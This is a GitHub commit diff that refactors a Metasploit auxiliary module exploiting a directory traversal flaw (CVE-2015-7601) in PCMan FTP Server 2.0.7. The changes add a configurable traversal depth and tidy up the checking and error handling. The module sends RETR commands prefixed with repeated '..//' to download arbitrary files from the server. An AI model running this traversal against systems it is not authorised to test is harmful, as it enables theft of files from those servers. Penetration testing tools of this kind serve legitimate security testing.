Skip to content

Commit e6e5bde

Browse files
committed
Do module cleanup for auxiliary/scanner/ftp/pcman_ftp_traversal
1 parent 4716e2e commit e6e5bde

File tree

1 file changed

+31
-26
lines changed

1 file changed

+31
-26
lines changed

modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb

Lines changed: 31 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -13,41 +13,46 @@ class Metasploit3 < Msf::Auxiliary
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure',
17-
'Description' => %q{
16+
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
17+
'Description' => %q{
1818
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
1919
This vulnerability allows an attacker to download arbitrary files from the server by crafting
2020
a RETR command that includes file system traversal strings such as '..//'
2121
},
22-
'Platform' => 'win',
23-
'Author' =>
22+
'Platform' => 'win',
23+
'Author' =>
2424
[
25-
'Jay Turla <@shipcod3>', # msf and initial discovery
25+
'Jay Turla', # @shipcod3, msf and initial discovery
2626
'James Fitts', # initial discovery
27-
'Brad Wolfe' # brad.wolfe[at]gmail.com
27+
'Brad Wolfe <brad.wolfe[at]gmail.com>'
2828
],
29-
'License' => MSF_LICENSE,
30-
'References' =>
29+
'License' => MSF_LICENSE,
30+
'References' =>
3131
[
3232
[ 'EDB', '38340'],
3333
[ 'CVE', '2015-7601']
3434
],
35-
'DisclosureDate' => 'Sep 28 2015'))
35+
'DisclosureDate' => 'Sep 28 2015'
36+
))
3637

3738
register_options(
3839
[
40+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
3941
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
4042
], self.class)
4143
end
4244

43-
def check
44-
connect
45-
disconnect
46-
if (banner =~ /220 PCMan's FTP Server 2\.0/)
47-
return Exploit::CheckCode::Appears
48-
else
49-
return Exploit::CheckCode::Safe
45+
def check_host(ip)
46+
begin
47+
connect
48+
if /220 PCMan's FTP Server 2\.0/i === banner
49+
return Exploit::CheckCode::Appears
50+
end
51+
ensure
52+
disconnect
5053
end
54+
55+
Exploit::CheckCode::Safe
5156
end
5257

5358
def run_host(target_host)
@@ -59,7 +64,7 @@ def run_host(target_host)
5964
file = ::File.basename(file_path)
6065

6166
# make RETR request and store server response message...
62-
retr_cmd = ( "..//" * 32 ) + "#{file_path}"
67+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
6368
res = send_cmd( ["RETR", retr_cmd])
6469

6570
# read the file data from the socket that we opened
@@ -72,16 +77,16 @@ def run_host(target_host)
7277

7378
# store file data to loot
7479
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
75-
print_status("Stored #{file_path} to #{loot_file}")
76-
77-
# Read and print the data from the loot file.
78-
info_disclosure = print_line(loot_file)
79-
print_status("Printing contents of #{file_path}")
80-
print_good("Result:\n #{info_disclosure}")
81-
82-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
83-
rescue ::Timeout::Error, ::Errno::EPIPE
80+
vprint_status("Data returned:\n")
81+
vprint_line(response_data)
82+
print_good("Stored #{file_path} to #{loot_file}")
8483

84+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
85+
vprint_error(e.message)
86+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
87+
rescue ::Timeout::Error, ::Errno::EPIPE => e
88+
vprint_error(e.message)
89+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
8590
ensure
8691
data_disconnect
8792
disconnect

0 commit comments

Comments
 (0)